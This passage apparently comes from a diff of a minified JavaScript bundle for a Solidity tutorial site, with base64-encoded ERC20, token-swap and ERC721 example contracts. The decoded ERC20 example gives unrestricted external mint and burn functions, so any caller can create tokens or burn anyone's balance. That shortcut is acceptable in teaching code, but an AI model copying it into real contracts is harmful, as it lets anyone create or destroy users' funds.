gICAgfQoKICAgIGZ1bmN0aW9uIF9idXJuKGFkZHJlc3MgZnJvbSwgdWludDI1NiBhbW91bnQpIGludGVybmFsIHsKICAgICAgICBiYWxhbmNlT2ZbZnJvbV0gLT0gYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IGFtb3VudDsKICAgICAgICBlbWl0IFRyYW5zZmVyKGZyb20sIGFkZHJlc3MoMCksIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9taW50KHRvLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGJ1cm4oYWRkcmVzcyBmcm9tLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgewogICAgICAgIF9idXJuKGZyb20sIGFtb3VudCk7CiAgICB9Cn0K"},{fileName:"IERC20.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3MgYWNjb3VudCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zICh1aW50MjU2KTsKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBzZW5kZXIsIGFkZHJlc3MgcmVjaXBpZW50LCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHJldHVybnMgKGJvb2wpOwp9Cg=="},{fileName:"MyToken.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9FUkMyMC5zb2wiOwoKY29udHJhY3QgTXlUb2tlbiBpcyBFUkMyMCB7CiAgICBjb25zdHJ1Y3RvcihzdHJpbmcgbWVtb3J5IG5hbWUsIHN0cmluZyBtZW1vcnkgc3ltYm9sLCB1aW50OCBkZWNpbWFscykKICAgICAgICBFUkMyMChuYW1lLCBzeW1ib2wsIGRlY2ltYWxzKQogICAgewogICAgICAgIC8vIE1pbnQgMTAwIHRva2VucyB0byBtc2cuc2VuZGVyCiAgICAgICAgLy8gU2ltaWxhciB0byBob3cKICAgICAgICAvLyAxIGRvbGxhciA9IDEwMCBjZW50cwogICAgICAgIC8vIDEgdG9rZW4gPSAxICogKDEwICoqIGRlY2ltYWxzKQogICAgICAgIF9taW50KG1zZy5zZW5kZXIsIDEwMCAqIDEwICoqIHVpbnQyNTYoZGVjaW1hbHMpKTsKICAgIH0KfQo="},{fileName:"TokenSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCAiLi9JRVJDMjAuc29sIjsKCi8qCkhvdyB0byBzd2FwIHRva2VucwoKMS4gQWxpY2UgaGFzIDEwMCB0b2tlbnMgZnJvbSBBbGljZUNvaW4sIHdoaWNoIGlzIGEgRVJDMjAgdG9rZW4uCjIuIEJvYiBoYXMgMTAwIHRva2VucyBmcm9tIEJvYkNvaW4sIHdoaWNoIGlzIGFsc28gYSBFUkMyMCB0b2tlbi4KMy4gQWxpY2UgYW5kIEJvYiB3YW50cyB0byB0cmFkZSAxMCBBbGljZUNvaW4gZm9yIDIwIEJvYkNvaW4uCjQuIEFsaWNlIG9yIEJvYiBkZXBsb3lzIFRva2VuU3dhcAo1LiBBbGljZSBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMTAgdG9rZW5zIGZyb20gQWxpY2VDb2luCjYuIEJvYiBhcHByb3ZlcyBUb2tlblN3YXAgdG8gd2l0aGRyYXcgMjAgdG9rZW5zIGZyb20gQm9iQ29pbgo3LiBBbGljZSBvciBCb2IgY2FsbHMgVG9rZW5Td2FwLnN3YXAoKQo4LiBBbGljZSBhbmQgQm9iIHRyYWRlZCB0b2tlbnMgc3VjY2Vzc2Z1bGx5LgoqLwoKY29udHJhY3QgVG9rZW5Td2FwIHsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4xOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIxOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MTsKICAgIElFUkMyMCBwdWJsaWMgdG9rZW4yOwogICAgYWRkcmVzcyBwdWJsaWMgb3duZXIyOwogICAgdWludDI1NiBwdWJsaWMgYW1vdW50MjsKCiAgICBjb25zdHJ1Y3RvcigKICAgICAgICBhZGRyZXNzIF90b2tlbjEsCiAgICAgICAgYWRkcmVzcyBfb3duZXIxLAogICAgICAgIHVpbnQyNTYgX2Ftb3VudDEsCiAgICAgICAgYWRkcmVzcyBfdG9rZW4yLAogICAgICAgIGFkZHJlc3MgX293bmVyMiwKICAgICAgICB1aW50MjU2IF9hbW91bnQyCiAgICApIHsKICAgICAgICB0b2tlbjEgPSBJRVJDMjAoX3Rva2VuMSk7CiAgICAgICAgb3duZXIxID0gX293bmVyMTsKICAgICAgICBhbW91bnQxID0gX2Ftb3VudDE7CiAgICAgICAgdG9rZW4yID0gSUVSQzIwKF90b2tlbjIpOwogICAgICAgIG93bmVyMiA9IF9vd25lcjI7CiAgICAgICAgYW1vdW50MiA9IF9hbW91bnQyOwogICAgfQoKICAgIGZ1bmN0aW9uIHN3YXAoKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUobXNnLnNlbmRlciA9PSBvd25lcjEgfHwgbXNnLnNlbmRlciA9PSBvd25lcjIsICJOb3QgYXV0aG9yaXplZCIpOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMS5hbGxvd2FuY2Uob3duZXIxLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQxLAogICAgICAgICAgICAiVG9rZW4gMSBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHRva2VuMi5hbGxvd2FuY2Uob3duZXIyLCBhZGRyZXNzKHRoaXMpKSA+PSBhbW91bnQyLAogICAgICAgICAgICAiVG9rZW4gMiBhbGxvd2FuY2UgdG9vIGxvdyIKICAgICAgICApOwoKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjEsIG93bmVyMSwgb3duZXIyLCBhbW91bnQxKTsKICAgICAgICBfc2FmZVRyYW5zZmVyRnJvbSh0b2tlbjIsIG93bmVyMiwgb3duZXIxLCBhbW91bnQyKTsKICAgIH0KCiAgICBmdW5jdGlvbiBfc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBJRVJDMjAgdG9rZW4sCiAgICAgICAgYWRkcmVzcyBzZW5kZXIsCiAgICAgICAgYWRkcmVzcyByZWNpcGllbnQsCiAgICAgICAgdWludDI1NiBhbW91bnQKICAgICkgcHJpdmF0ZSB7CiAgICAgICAgYm9vbCBzZW50ID0gdG9rZW4udHJhbnNmZXJGcm9tKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpOwogICAgICAgIHJlcXVpcmUoc2VudCwgIlRva2VuIHRyYW5zZmVyIGZhaWxlZCIpOwogICAgfQp9Cg=="}],_j=`

        Any contract that follow the ERC20 standard is a ERC20 token.

        ERC20 tokens provide functionalities to

        • transfer tokens
          • @@ -1441,7 +1441,7 @@ How to swap tokens require(sent, "Token transfer failed"); } } -`,Lj=({prev:s,next:a})=>r.jsx(u,{version:Ej,title:Qj,description:Tj,html:_j,prev:s,next:a,codes:Uj}),Oj="0.8.24",Pj="ERC721",$j="Example of ERC721 non fungible token in Solidity",qj=[{fileName:"ERC721.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMTY1IHsKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJRCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElFUkM3MjEgaXMgSUVSQzE2NSB7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2IGJhbGFuY2UpOwogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IHRva2VuSWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyBvd25lcik7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiB0b2tlbklkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBnZXRBcHByb3ZlZCh1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBvcGVyYXRvcik7CiAgICBmdW5jdGlvbiBzZXRBcHByb3ZhbEZvckFsbChhZGRyZXNzIG9wZXJhdG9yLCBib29sIF9hcHByb3ZlZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBpc0FwcHJvdmVkRm9yQWxsKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgb3BlcmF0b3IpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJRVJDNzIxUmVjZWl2ZXIgewogICAgZnVuY3Rpb24gb25FUkM3MjFSZWNlaXZlZCgKICAgICAgICBhZGRyZXNzIG9wZXJhdG9yLAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCByZXR1cm5zIChieXRlczQpOwp9Cgpjb250cmFjdCBFUkM3MjEgaXMgSUVSQzcyMSB7CiAgICBldmVudCBUcmFuc2ZlcigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbEZvckFsbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBvcGVyYXRvciwgYm9vbCBhcHByb3ZlZAogICAgKTsKCiAgICAvLyBNYXBwaW5nIGZyb20gdG9rZW4gSUQgdG8gb3duZXIgYWRkcmVzcwogICAgbWFwcGluZyh1aW50MjU2ID0+IGFkZHJlc3MpIGludGVybmFsIF9vd25lck9mOwoKICAgIC8vIE1hcHBpbmcgb3duZXIgYWRkcmVzcyB0byB0b2tlbiBjb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIGludGVybmFsIF9iYWxhbmNlT2Y7CgogICAgLy8gTWFwcGluZyBmcm9tIHRva2VuIElEIHRvIGFwcHJvdmVkIGFkZHJlc3MKICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBpbnRlcm5hbCBfYXBwcm92YWxzOwoKICAgIC8vIE1hcHBpbmcgZnJvbSBvd25lciB0byBvcGVyYXRvciBhcHByb3ZhbHMKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gYm9vbCkpIHB1YmxpYyBpc0FwcHJvdmVkRm9yQWxsOwoKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJZCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHJldHVybiBpbnRlcmZhY2VJZCA9PSB0eXBlKElFUkM3MjEpLmludGVyZmFjZUlkCiAgICAgICAgICAgIHx8IGludGVyZmFjZUlkID09IHR5cGUoSUVSQzE2NSkuaW50ZXJmYWNlSWQ7CiAgICB9CgogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IGlkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3Mgb3duZXIpIHsKICAgICAgICBvd25lciA9IF9vd25lck9mW2lkXTsKICAgICAgICByZXF1aXJlKG93bmVyICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3Mgb3duZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgIm93bmVyID0gemVybyBhZGRyZXNzIik7CiAgICAgICAgcmV0dXJuIF9iYWxhbmNlT2Zbb3duZXJdOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldEFwcHJvdmFsRm9yQWxsKGFkZHJlc3Mgb3BlcmF0b3IsIGJvb2wgYXBwcm92ZWQpIGV4dGVybmFsIHsKICAgICAgICBpc0FwcHJvdmVkRm9yQWxsW21zZy5zZW5kZXJdW29wZXJhdG9yXSA9IGFwcHJvdmVkOwogICAgICAgIGVtaXQgQXBwcm92YWxGb3JBbGwobXNnLnNlbmRlciwgb3BlcmF0b3IsIGFwcHJvdmVkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBvd25lciB8fCBpc0FwcHJvdmVkRm9yQWxsW293bmVyXVttc2cuc2VuZGVyXSwKICAgICAgICAgICAgIm5vdCBhdXRob3JpemVkIgogICAgICAgICk7CgogICAgICAgIF9hcHByb3ZhbHNbaWRdID0gc3BlbmRlcjsKCiAgICAgICAgZW1pdCBBcHByb3ZhbChvd25lciwgc3BlbmRlciwgaWQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGdldEFwcHJvdmVkKHVpbnQyNTYgaWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcykgewogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICAgICAgcmV0dXJuIF9hcHByb3ZhbHNbaWRdOwogICAgfQoKICAgIGZ1bmN0aW9uIF9pc0FwcHJvdmVkT3JPd25lcihhZGRyZXNzIG93bmVyLCBhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgaWQpCiAgICAgICAgaW50ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCkKICAgIHsKICAgICAgICByZXR1cm4gKAogICAgICAgICAgICBzcGVuZGVyID09IG93bmVyIHx8IGlzQXBwcm92ZWRGb3JBbGxbb3duZXJdW3NwZW5kZXJdCiAgICAgICAgICAgICAgICB8fCBzcGVuZGVyID09IF9hcHByb3ZhbHNbaWRdCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB0cmFuc2ZlckZyb20oYWRkcmVzcyBmcm9tLCBhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBwdWJsaWMgewogICAgICAgIHJlcXVpcmUoZnJvbSA9PSBfb3duZXJPZltpZF0sICJmcm9tICE9IG93bmVyIik7CiAgICAgICAgcmVxdWlyZSh0byAhPSBhZGRyZXNzKDApLCAidHJhbnNmZXIgdG8gemVybyBhZGRyZXNzIik7CgogICAgICAgIHJlcXVpcmUoX2lzQXBwcm92ZWRPck93bmVyKGZyb20sIG1zZy5zZW5kZXIsIGlkKSwgIm5vdCBhdXRob3JpemVkIik7CgogICAgICAgIF9iYWxhbmNlT2ZbZnJvbV0tLTsKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBkZWxldGUgX2FwcHJvdmFsc1tpZF07CgogICAgICAgIGVtaXQgVHJhbnNmZXIoZnJvbSwgdG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIHRyYW5zZmVyRnJvbShmcm9tLCB0bywgaWQpOwoKICAgICAgICByZXF1aXJlKAogICAgICAgICAgICB0by5jb2RlLmxlbmd0aCA9PSAwCiAgICAgICAgICAgICAgICB8fCBJRVJDNzIxUmVjZWl2ZXIodG8pLm9uRVJDNzIxUmVjZWl2ZWQobXNnLnNlbmRlciwgZnJvbSwgaWQsICIiKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHNhZmVUcmFuc2ZlckZyb20oCiAgICAgICAgYWRkcmVzcyBmcm9tLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBpZCwKICAgICAgICBieXRlcyBjYWxsZGF0YSBkYXRhCiAgICApIGV4dGVybmFsIHsKICAgICAgICB0cmFuc2ZlckZyb20oZnJvbSwgdG8sIGlkKTsKCiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgdG8uY29kZS5sZW5ndGggPT0gMAogICAgICAgICAgICAgICAgfHwgSUVSQzcyMVJlY2VpdmVyKHRvKS5vbkVSQzcyMVJlY2VpdmVkKG1zZy5zZW5kZXIsIGZyb20sIGlkLCBkYXRhKQogICAgICAgICAgICAgICAgICAgID09IElFUkM3MjFSZWNlaXZlci5vbkVSQzcyMVJlY2VpdmVkLnNlbGVjdG9yLAogICAgICAgICAgICAidW5zYWZlIHJlY2lwaWVudCIKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIF9taW50KGFkZHJlc3MgdG8sIHVpbnQyNTYgaWQpIGludGVybmFsIHsKICAgICAgICByZXF1aXJlKHRvICE9IGFkZHJlc3MoMCksICJtaW50IHRvIHplcm8gYWRkcmVzcyIpOwogICAgICAgIHJlcXVpcmUoX293bmVyT2ZbaWRdID09IGFkZHJlc3MoMCksICJhbHJlYWR5IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW3RvXSsrOwogICAgICAgIF9vd25lck9mW2lkXSA9IHRvOwoKICAgICAgICBlbWl0IFRyYW5zZmVyKGFkZHJlc3MoMCksIHRvLCBpZCk7CiAgICB9CgogICAgZnVuY3Rpb24gX2J1cm4odWludDI1NiBpZCkgaW50ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZShvd25lciAhPSBhZGRyZXNzKDApLCAibm90IG1pbnRlZCIpOwoKICAgICAgICBfYmFsYW5jZU9mW293bmVyXSAtPSAxOwoKICAgICAgICBkZWxldGUgX293bmVyT2ZbaWRdOwogICAgICAgIGRlbGV0ZSBfYXBwcm92YWxzW2lkXTsKCiAgICAgICAgZW1pdCBUcmFuc2Zlcihvd25lciwgYWRkcmVzcygwKSwgaWQpOwogICAgfQp9Cgpjb250cmFjdCBNeU5GVCBpcyBFUkM3MjEgewogICAgZnVuY3Rpb24gbWludChhZGRyZXNzIHRvLCB1aW50MjU2IGlkKSBleHRlcm5hbCB7CiAgICAgICAgX21pbnQodG8sIGlkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBidXJuKHVpbnQyNTYgaWQpIGV4dGVybmFsIHsKICAgICAgICByZXF1aXJlKG1zZy5zZW5kZXIgPT0gX293bmVyT2ZbaWRdLCAibm90IG93bmVyIik7CiAgICAgICAgX2J1cm4oaWQpOwogICAgfQp9Cg=="}],su=`

          Example of ERC721

          +`,Lj=({prev:s,next:a})=>r.jsx(A,{version:Ej,title:Qj,description:Tj,html:_j,prev:s,next:a,codes:Uj}),Oj="0.8.24",Pj="ERC721",$j="Example of ERC721 non fungible token in Solidity",qj=[{fileName:"ERC721.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMTY1IHsKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJRCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChib29sKTsKfQoKaW50ZXJmYWNlIElFUkM3MjEgaXMgSUVSQzE2NSB7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBvd25lcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50MjU2IGJhbGFuY2UpOwogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IHRva2VuSWQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyBvd25lcik7CiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKGFkZHJlc3MgZnJvbSwgYWRkcmVzcyB0bywgdWludDI1NiB0b2tlbklkKQogICAgICAgIGV4dGVybmFsOwogICAgZnVuY3Rpb24gc2FmZVRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIGZyb20sCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbDsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIGZyb20sIGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3MgdG8sIHVpbnQyNTYgdG9rZW5JZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBnZXRBcHByb3ZlZCh1aW50MjU2IHRva2VuSWQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYWRkcmVzcyBvcGVyYXRvcik7CiAgICBmdW5jdGlvbiBzZXRBcHByb3ZhbEZvckFsbChhZGRyZXNzIG9wZXJhdG9yLCBib29sIF9hcHByb3ZlZCkgZXh0ZXJuYWw7CiAgICBmdW5jdGlvbiBpc0FwcHJvdmVkRm9yQWxsKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgb3BlcmF0b3IpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICB2aWV3CiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJRVJDNzIxUmVjZWl2ZXIgewogICAgZnVuY3Rpb24gb25FUkM3MjFSZWNlaXZlZCgKICAgICAgICBhZGRyZXNzIG9wZXJhdG9yLAogICAgICAgIGFkZHJlc3MgZnJvbSwKICAgICAgICB1aW50MjU2IHRva2VuSWQsCiAgICAgICAgYnl0ZXMgY2FsbGRhdGEgZGF0YQogICAgKSBleHRlcm5hbCByZXR1cm5zIChieXRlczQpOwp9Cgpjb250cmFjdCBFUkM3MjEgaXMgSUVSQzcyMSB7CiAgICBldmVudCBUcmFuc2ZlcigKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgZnJvbSwgYWRkcmVzcyBpbmRleGVkIHRvLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBzcGVuZGVyLCB1aW50MjU2IGluZGV4ZWQgaWQKICAgICk7CiAgICBldmVudCBBcHByb3ZhbEZvckFsbCgKICAgICAgICBhZGRyZXNzIGluZGV4ZWQgb3duZXIsIGFkZHJlc3MgaW5kZXhlZCBvcGVyYXRvciwgYm9vbCBhcHByb3ZlZAogICAgKTsKCiAgICAvLyBNYXBwaW5nIGZyb20gdG9rZW4gSUQgdG8gb3duZXIgYWRkcmVzcwogICAgbWFwcGluZyh1aW50MjU2ID0+IGFkZHJlc3MpIGludGVybmFsIF9vd25lck9mOwoKICAgIC8vIE1hcHBpbmcgb3duZXIgYWRkcmVzcyB0byB0b2tlbiBjb3VudAogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIGludGVybmFsIF9iYWxhbmNlT2Y7CgogICAgLy8gTWFwcGluZyBmcm9tIHRva2VuIElEIHRvIGFwcHJvdmVkIGFkZHJlc3MKICAgIG1hcHBpbmcodWludDI1NiA9PiBhZGRyZXNzKSBpbnRlcm5hbCBfYXBwcm92YWxzOwoKICAgIC8vIE1hcHBpbmcgZnJvbSBvd25lciB0byBvcGVyYXRvciBhcHByb3ZhbHMKICAgIG1hcHBpbmcoYWRkcmVzcyA9PiBtYXBwaW5nKGFkZHJlc3MgPT4gYm9vbCkpIHB1YmxpYyBpc0FwcHJvdmVkRm9yQWxsOwoKICAgIGZ1bmN0aW9uIHN1cHBvcnRzSW50ZXJmYWNlKGJ5dGVzNCBpbnRlcmZhY2VJZCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChib29sKQogICAgewogICAgICAgIHJldHVybiBpbnRlcmZhY2VJZCA9PSB0eXBlKElFUkM3MjEpLmludGVyZmFjZUlkCiAgICAgICAgICAgIHx8IGludGVyZmFjZUlkID09IHR5cGUoSUVSQzE2NSkuaW50ZXJmYWNlSWQ7CiAgICB9CgogICAgZnVuY3Rpb24gb3duZXJPZih1aW50MjU2IGlkKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3Mgb3duZXIpIHsKICAgICAgICBvd25lciA9IF9vd25lck9mW2lkXTsKICAgICAgICByZXF1aXJlKG93bmVyICE9IGFkZHJlc3MoMCksICJ0b2tlbiBkb2Vzbid0IGV4aXN0Iik7CiAgICB9CgogICAgZnVuY3Rpb24gYmFsYW5jZU9mKGFkZHJlc3Mgb3duZXIpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1NikgewogICAgICAgIHJlcXVpcmUob3duZXIgIT0gYWRkcmVzcygwKSwgIm93bmVyID0gemVybyBhZGRyZXNzIik7CiAgICAgICAgcmV0dXJuIF9iYWxhbmNlT2Zbb3duZXJdOwogICAgfQoKICAgIGZ1bmN0aW9uIHNldEFwcHJvdmFsRm9yQWxsKGFkZHJlc3Mgb3BlcmF0b3IsIGJvb2wgYXBwcm92ZWQpIGV4dGVybmFsIHsKICAgICAgICBpc0FwcHJvdmVkRm9yQWxsW21zZy5zZW5kZXJdW29wZXJhdG9yXSA9IGFwcHJvdmVkOwogICAgICAgIGVtaXQgQXBwcm92YWxGb3JBbGwobXNnLnNlbmRlciwgb3BlcmF0b3IsIGFwcHJvdmVkKTsKICAgIH0KCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludDI1NiBpZCkgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3Mgb3duZXIgPSBfb3duZXJPZltpZF07CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgbXNnLnNlbmRlciA9PSBvd25lciB8fCBpc0FwcHJvdmVkRm9yQWxsW293bmVyXVttc2cuc2VuZGVyXSwKICAgICAgICAgICAgIm5vdCBhdXRob3JpemVkIgogICAgICAgICk7CgogICAgICAgIF9hcHByb3ZhbHN